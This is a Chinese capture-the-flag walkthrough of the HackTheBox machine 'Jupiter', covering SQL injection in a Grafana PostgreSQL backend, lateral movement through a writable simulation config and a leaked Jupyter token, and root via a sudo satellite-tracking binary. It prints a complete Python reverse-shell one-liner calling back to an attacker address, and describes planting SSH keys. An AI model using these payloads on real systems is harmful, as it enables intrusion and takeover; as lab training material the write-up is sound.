HackTheBox - Medium - Linux - Jupiter

Jupiter

Jupiter 是一台中等难度的 Linux 机器,它有一个使用 PostgreSQL 数据库的 Grafana 实例,该数据库在权限上过度扩展,容易受到 SQL 注入的影响,因此容易受到远程代码执行的影响。一旦站稳脚跟,就会注意到一个名为 Shadow 的实用程序,这是一种科学实验工具,可以简化对真实网络应用程序的评估,但其配置文件的权限配置错误。然后,通过查看与 Jupyter Notebook 关联的日志文件来实现横向移动,这些日志文件包含次要用户的令牌。获得对此用户的访问权限后,可以通过滥用卫星跟踪系统二进制文件来实现权限提升,该二进制文件可能由次要用户使用“sudo”权限执行。


外部信息搜集

端口扫描

循例nmap

file

Web枚举

访问80跳转到了jupiter.htb,加入/etc/hosts

file

vhost扫描

ffuf扫出一个vhost

file

kiosk子域

file

SQL注入

我在查看bp日志的时候发现了这个包,里面包含了非常显眼的sql查询语句

file

把请求给到repeater,使用version()查询一下,发现执行成功

file

接下啦就不再需要脑子了,我们可以通过sqlmap一键尝试RCE

file

正如所料,是DBA

file

来个常规python3 reverse shell payload

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.18",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' &

payload最后的&不能少,否则shell可能会被杀死

getshell

file

本地横向移动 -> juno

传个pspy

file

2023/12/22 07:24:01 CMD: UID=1000  PID=2159   | 
2023/12/22 07:24:01 CMD: UID=1000  PID=2160   | rm -rf /dev/shm/shadow.data 
2023/12/22 07:24:01 CMD: UID=1000  PID=2161   | /home/juno/.local/bin/shadow /dev/shm/network-simulation.yml 
2023/12/22 07:24:01 CMD: UID=1000  PID=2164   | sh -c lscpu --online --parse=CPU,CORE,SOCKET,NODE 
2023/12/22 07:24:01 CMD: UID=1000  PID=2165   | lscpu --online --parse=CPU,CORE,SOCKET,NODE 
2023/12/22 07:24:01 CMD: UID=1000  PID=2170   | 
2023/12/22 07:24:02 CMD: UID=1000  PID=2171   | /home/juno/.local/bin/shadow /dev/shm/network-simulation.yml 
2023/12/22 07:24:02 CMD: UID=1000  PID=2173   | /home/juno/.local/bin/shadow /dev/shm/network-simulation.yml 
2023/12/22 07:24:02 CMD: UID=1000  PID=2175   | /home/juno/.local/bin/shadow /dev/shm/network-simulation.yml 

我们可以看到/home/juno/.local/bin/shadow这个应用似乎正将yml文件名作为输入并运行

这个文件我们有权读写

file

当我查看该文件时,接下来要做的事情便不再需要解释了

file

python3 payload

file

发现它确实执行了,但似乎执行没成功,反正我没get到shell

换种方法,直接写入ssh key

file

这次也执行了

file

登一下ssh看看有没有成功

file

本地横向移动 -> jovian

我看到当前用户具有另一个组,下意识查看那个组是否具有某些文件或目录

file

当我查看其中一个日志文件后,我发现本地8888端口的http服务应该就是jupyter

file

ssh做个端口转发

file

通过日志文件里的正确token,我们能够登录进去

file

进入这个文件

file

在这里我们能够运行python代码

直接来个python shellcode

file

nc

file

本地权限提升

sudo -l

file

通过strace发现它会读取/tmp/config.json,但由于不清楚它的配置究竟是怎么样的,所以即使我们自己创建了文件也没有意义

file

find

file

在那个目录下有我们想要的config.json

file

{
	"tleroot": "/tmp/tle/",
	"tlefile": "weather.txt",
	"mapfile": "/usr/local/share/sattrack/map.json",
	"texturefile": "/usr/local/share/sattrack/earth.png",
	
	"tlesources": [
		"http://celestrak.org/NORAD/elements/weather.txt",
		"http://celestrak.org/NORAD/elements/noaa.txt",
		"http://celestrak.org/NORAD/elements/gp.php?GROUP=starlink&FORMAT=tle"
	],
	
	"updatePerdiod": 1000,
	
	"station": {
		"name": "LORCA",
		"lat": 37.6725,
		"lon": -1.5863,
		"hgt": 335.0
	},
	
	"show": [
	],
	
	"columns": [
		"name",
		"azel",
		"dis",
		"geo",
		"tab",
		"pos",
		"vel"
	]
}

将config.json复制到/tmp

file

运行看看效果

file

主要关注这句话

tleroot does not exist, creating it: /tmp/tle/

我们可以将tleroot改到/root/.ssh,然后它就会去请求tlesources的文件复制到tleroot,我们可以指定ssh public key

编辑/tmp/config.json

file

再次执行

file

ssh登root

file

root flag 还在老地方

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/264561.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

OPC UA 与PROFINET比较

ROFINET和OPC UA是两种常见的协议,过去这两个协议有两个不同的角色。PROFINET通常用于现场设备和本地控制器之间的实时数据通信。而OPC UA通常用于在本地控制器和更高级别的MES和SCADA系统之间进行通信。 OPC UA 网络架构 PROFINET网络由IO控制器和IO设备组成&…

人工智能_机器学习070_SVM支持向量机_软间隔及优化_硬间隔_衡量间隔软度_引入松弛变量_理解隔离参数---人工智能工作笔记0110

我们继续说,之前说的C是什么意思? 我们在这个软间隔优化中就可以引出C 可以看到之前我们讨论的问题,都是基于样本点的,完全的线性可分的问题,我们称为硬间隔 可以看到这种,一分就可以,分开,简单分割就可以分开的数据,我们称之为硬间隔 但是可以看到上面这种情况,无论怎么分,都…

关于游戏性能优化的技巧

关于游戏性能优化的技巧 游戏性能优化对象池Jobs、Burst、多线程间隔处理定时更新全局广播缓存组件缓存常用数据2D残影优化2D骨骼转GPU动画定时器优化DrawCall合批处理优化碰撞层优化粒子特效 游戏性能优化 好久没有在CSDN上面写文章了,今天突然看到鬼谷工作室技术…

2.3_2 进程互斥的软件实现方法

2.3_2 进程互斥的软件实现方法 #mermaid-svg-MEJSSglXzFe6Q501 {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-MEJSSglXzFe6Q501 .error-icon{fill:#552222;}#mermaid-svg-MEJSSglXzFe6Q501 .error-text{fill:#5522…

【微服务】:微服务最佳实践

关键需求 最大限度地提高团队的自主性:创建一个团队可以完成更多工作而不必与其他团队协调的环境。优化开发速度:硬件便宜,人不是。使团队能够轻松快捷地构建强大的服务。关注自动化:人们犯错误。更多的系统操作也意味着更多的事情…

Python多任务编程-09队列Queue

程序中的定义:一种特殊的存储数据的方式,可以实现先存入的数据,先出去 1.程序中的队列Queue FIFO(first in first out先进先出) import queueq queue.Queue() q.put("22") q.put(500) q.put({"num&q…

nodejs微信小程序+python+PHP医院挂号系统-计算机毕业设计推荐

目 录 摘 要 I ABSTRACT II 目 录 II 第1章 绪论 1 1.1背景及意义 1 1.2 国内外研究概况 1 1.3 研究的内容 1 第2章 相关技术 3 2.1 nodejs简介 4 2.2 express框架介绍 6 2.4 MySQL数据库 4 第3章 系统分析 5 3.1 需求分析 5 3.2 系统可行性分析 5 3.2.1技术可行性:…

C练习题13答案

单项选择题(本大题共20小题,每小题2分,共40分。在每小题给出的四个备选项中,选出一个正确的答案,并将所选项前的字母填写在答题纸的相应位置上。) 1.结构化程序由三种基本结构组成、三种基本结构组成的算法是(A) A.可以完成任何复杂的任务 B. 只能完成部分复杂的任务 C. 只能完…

MySQL运维实战(1.2)安装部署:使用二进制安装部署

作者:俊达 引言 上一篇我们使用了RPM进行安装部署,这是一种安装快速、简化部署和管理过程、与操作系统提供的包管理工具紧密集成的部署方法。此外,当你需要更高的灵活性和自定义性,并且愿意承担一些额外的手动配置和管理工作&am…

JavaScript高级 函数进阶篇

函数进阶 1、函数的定义和调用 函数声明方式function关键字(命名函数);函数表达式(匿名函数);new Function()(此处的Function()是一个构造函数);var fn new Function(参…

IntelliJ IDEA 2020将SpringMVC项目打成war包

一 、打开 Project Structure 进行配置 1. 打开方式 (1)CtrlAltShiftS (2)File->Project Structure (3)点击如下图标: 2. 进入 Project Structure,添加Artifacts Web Applica…

YB75XXH系列是采用CMOS工艺制造,低功耗的高压稳压器

YB75xxH 高耐压线性稳压器 ■产品简介: YB75XXH系列是采用CMOS工艺制造,低功耗的高压稳压器,最高输入电压可达25V,输出电压范围为1.5V一12.0V。它具有高精度的输出电压、极低的供电电流、极低的跌落电压等特点。 ■产品特点: …

Python并行计算和分布式任务全面指南

更多Python学习内容:ipengtao.com 大家好,我是彭涛,今天为大家分享 Python并行计算和分布式任务全面指南。全文2900字,阅读大约8分钟 并发编程是现代软件开发中不可或缺的一部分,它允许程序同时执行多个任务&#xff0…

spring基于Xml管理bean---Ioc依赖注入:对象类型属性赋值(1)----外部bean的引入(bean和bean之间的引入)

文章目录 注入普通属性的方式1、set方法注入2、构造器(构造方法)注入 总结:注入对象类型属性 注入普通属性的方式 1、set方法注入 2、构造器(构造方法)注入 总结: set方法注入和构造器方法的注入&#…

基于Netty构建Websocket服务端

除了构建TCP和UDP服务器和客户端,Netty还可以用于构建WebSocket服务器。WebSocket是一种基于TCP协议的双向通信协议,可以在Web浏览器和Web服务器之间建立实时通信通道。下面是一个简单的示例,演示如何使用Netty构建一个WebSocket服务器。 项目…

构建数字化金融生态系统:云原生的创新方法

内容来自演讲:曾祥龙 | DaoCloud | 解决方案架构师 摘要 本文探讨了金融企业在实施云原生体系时面临的挑战,包括复杂性、安全、数据持久化、服务网格使用和高可用容灾架构等。针对网络管理复杂性,文章提出了Spiderpool开源项目,…

csrf自动化检测调研

https://github.com/pillarjs/understanding-csrf/blob/master/README_zh.md CSRF 攻击者在钓鱼站点&#xff0c;可以通过创建一个AJAX按钮或者表单来针对你的网站创建一个请求&#xff1a; <form action"https://my.site.com/me/something-destructive" metho…

VM进行TCP/IP通信

OK就变成这样 vm充当服务端的话也是差不多的操作 点击连接 这里我把端口号换掉了因为可能被占用报错了&#xff0c;如果有报错可以尝试尝试换个端口号 注&#xff1a; 还有一个点在工作中要是充当服务器&#xff0c;要去网络这边看下他的ip地址 拉到最后面

HarmonyOS - macOS 上搭建 鸿蒙开发环境

文章目录 安装 DevEco第一个 App1、工程基本信息设置2、安装设备3、运行工程 安装 DevEco 软件下载地址&#xff1a; https://developer.harmonyos.com/cn/develop/deveco-studio 今天我下载 DevEco Studio 3.1.1 Release - Mac 版本 解压后是一个 dmg 文件&#xff08;也不必…

Mac电脑上soucetree账户更改

在开发公司项目的时候遇到一个问题。soucetree提示需要输入已离职员工-张三的密码。 问题&#xff1a;Mac电脑使用souetree&#xff0c;拉取仓库代码提示需要输入其他员工密码。 解决&#xff1a; Mac电脑 SourceTree去掉之前的账户 1、前往文件路径 /Library/Application Su…